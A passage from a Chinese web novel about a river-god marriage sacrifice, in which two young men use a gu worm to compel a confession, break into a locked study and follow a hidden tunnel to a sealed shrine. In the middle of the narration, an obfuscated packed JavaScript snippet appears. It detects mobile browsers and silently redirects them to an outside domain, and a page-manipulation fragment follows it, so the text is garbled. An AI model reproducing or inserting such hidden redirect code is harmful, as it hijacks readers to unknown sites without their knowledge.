宁戚也没解释,只解释说:“白天的祭祀失败了,族长和村长估计在商议晚上祭祀的事情。”
“祭祀失败了!”
唐明宇目露震惊,显然没想到祭祀居然会失败。
宁戚告诉他:“嗯,神婆被雷劈死了。”
“这不可能!难道,真的有河神……”
唐明宇面上的血色消失殆尽,没了平时跋扈嚣张的模样,看他的面色,显然他之前对河神娶妻一事也是半信半疑。
宁戚一边心中惋惜他生错了副本,一边趁他没回神,赶忙问他:“你能不能告诉我,关于你知道的河神娶亲的事情?”
刚才还神色恍惚的唐明宇,这回倒是反应极快,立马变了脸色,眸色沉沉的盯向他:“你问这个干什么,终于不在我面前装傻了?”
事到如今,宁戚只好摊牌:“我不想嫁给河神,可你爹为了祭祀成功,要抓我或抓我奶奶去血祭,我想弄清楚河神娶亲的真相……只能从你这里找突破口了。”
宁戚故作无助,被雨水润过的面颊上充满忧色。
唐明宇心中一动,正在心中权衡利弊时,却没有注意到一只黑色小虫子,从手腕间钻进了他的身体。
下一秒,手腕钻心般痛起来,唐明宇吃痛嘶了一声,低头查看却没有在手腕间看见伤口。
宁戚正思忖着该买些什么道具让唐明宇说实话时,唐明宇已经抬眼看着他,机械似的陈述:“河神的事情我知道的不多,你可以去我爹的书房看看,那里他从不让我去,书房就在堂屋的右侧,绕过堂屋和一个小院就是。书房门窗封紧,大门上着锁。”
宁戚立马察觉到了唐明宇的状态不太对。
这时,身后响起沈岩冷淡的嗓音:“我给他下了蛊。”
宁戚恍然地问沈岩:“那他什么时候会恢复清醒?”
沈岩说:“等我们离开,蛊虫会爬出来,他也不会记得自己说了什么。”
宁戚点点头,拉过沈岩说:“我们走吧!”
宁戚知道堂屋在哪里,唐家今天没什么人,他们很顺利的就找到了书房。
果然如唐明宇所说,书房门窗都被木板钉死了,而且门口落了一把比唐明宇房前那把锁还要大的古铜锁。
宁戚刚要问沈岩能不能解开这把锁,沈岩就已经弯腰上手,他都还没看清楚沈岩的手怎么动作的,锁就随着“啪嗒”一声重响落在了地上。
宁戚:“……”
男主的buff真是不容小觑啊。
两个人就这么光明正大异常顺利的走进了书房。
书房里甚至连一盏煤油灯没有,一片昏暗,看不到一点光线。这甚至都不能称之为书房了吧,光都没有,不知道怎么看的书。
幸好宁戚昨晚睡觉前,在岳文家里顺了一个火折子。
但看清书房全景后,他也没有觉得这间书房有什么特别的,唯一的疑点就是书架上摆着的书籍都是崭新的,几乎没有翻看过的痕迹,明显就是做个摆设来的。
宁戚又走到书桌前观察,正准备翻看桌面时,察觉到脚底似乎……有些空?
宁戚到底是个储备知识丰富的系统,立马招呼沈岩一起移开了桌椅,单膝跪地,用手指敲了敲地板。
果然,这块地板下面是空的!
宁戚抬手敲了敲,大概敲出一个空荡的范围后,抬手在边缘摩挲了几下,随后不知道触到了那块地板。宁戚狠狠按下的同时,立马拉着沈岩往后退去。
他们眼见着地板凹陷向下,随后一个深而幽长的地道往地面下蜿蜒而去——
宁戚第一次亲自挖掘到密室机关,浑身肾上腺素飙升,使他连恐惧都忘了。
沈岩也面露诧异,一眼看出宁戚的意图,说:“我陪你进去。”
宁戚走在前面举着火折子,沈岩默然跟在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091540|179621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他身后,那双隐在黑暗中的面容,在面前的青年尚未察觉之时,静默无声的布上狰狞裂纹,血色眼眸死死盯着少年毫无防备的后脑。
这里只有他们两个人,就算是沈岩就此将少年带走囚禁,或者扼断少年那脆弱细长的脖颈,也没有人知道。
或许少年在临死前都不会知道是他动的手。
而他可以收缴少年的灵魂,从此宁戚的灵魂会归属于他,忠诚于他。
光是这样想着,男人就已经兴奋起来,双眸发着瘆人的暗色冷光,苍白指尖缠绕上黑烟,能在顷刻间就悄无声息要去面前少年的性命——
“沈岩,你好像都没有问过我为什么要来唐家,也没有问我为什么去救唐……就是刚才我救下的那个人,为什么?”
空荡到低声说话都能听见回声的长廊中,宁戚忽然慢下脚步,借着火光扭头看向身后的少年,眼睛在火光照耀下明亮而干净。
沈岩转瞬间已经恢复成那副不谙世事的静默模样,抿了抿唇说:“你不想嫁给河神,所以想要弄清楚河神娶亲的真相,对吗?”
紧接着,他又扯起唇微不可闻的笑了下,注视着他,认真说:“就算不是因为这个,你也是我唯一的朋友,不论你做什么,我都会帮你的。”
宁戚眸色发亮,在黑夜中像是两盏直直照射沈岩的明灯,他笑起来,真挚而发自内心的开心道:“沈岩,有你在我身边真好,真的很高兴认识你!”
沈岩攥了攥手心,想要让自己在这明朗中失去理智,可少年的目光和信任却让他无比的清醒。
他问:“那你会离开我吗?”
宁戚愣了下,显然没有想到他会这么问。
小傻子还是不太会撒谎,抿了抿唇,心虚的移开视线,一边往前摸索着,一边低声说:“我不想骗你,但……”
宁戚话音未落,拐过一道石墙,扭头就看到了烛光摇曳的地道尽头。
他哑了声,立马忘了刚才自己要说什么,快步往前走。
密室仍被一道铁门隔开,宁戚本以为这密室事上了锁的,可是没有想到密室的把手上,只贴着一张用红色……不,应该是血写在黄色符纸上的符纂。除此之外,铁门正上方还被挂了一面八卦镜,两边挂着两串大蒜。
不像是防人,倒像是……辟邪。
宁戚伸手要将符纂撕下来时,身后的手却比他更快一步的从他侧面伸出,将符纂直直撕下。
沈岩将符纂撕成两半扔在了脚底,对上宁戚疑惑的视线,压着眉峰,解释说:“有些符纂不止是用来辟邪,还有可能给强行撕毁它的人下诅咒。”
宁戚没想到这一层,闻言立马担忧问:“那你怎么办?”
沈岩淡淡道:“没关系,我从小养蛊虫,百毒不侵,弱小的诅咒对我起不了作用。”
说着,沈岩就伸手将那扇锈迹斑斑的铁门拉开了。铁门四周仍是密密麻麻贴了不少符纂,宁戚没敢用手去碰,也不让沈岩用手碰。
再弱小的诅咒叠加在一起一起就未必弱小了。
退开铁门,往里走过一段小路后,豁然开朗。
然而当宁戚步入后,看清里面的景象,却是呼吸一滞,不由瞪大了眼睛。
这灯火摇曳的密室里,居然摆着一整面墙的排位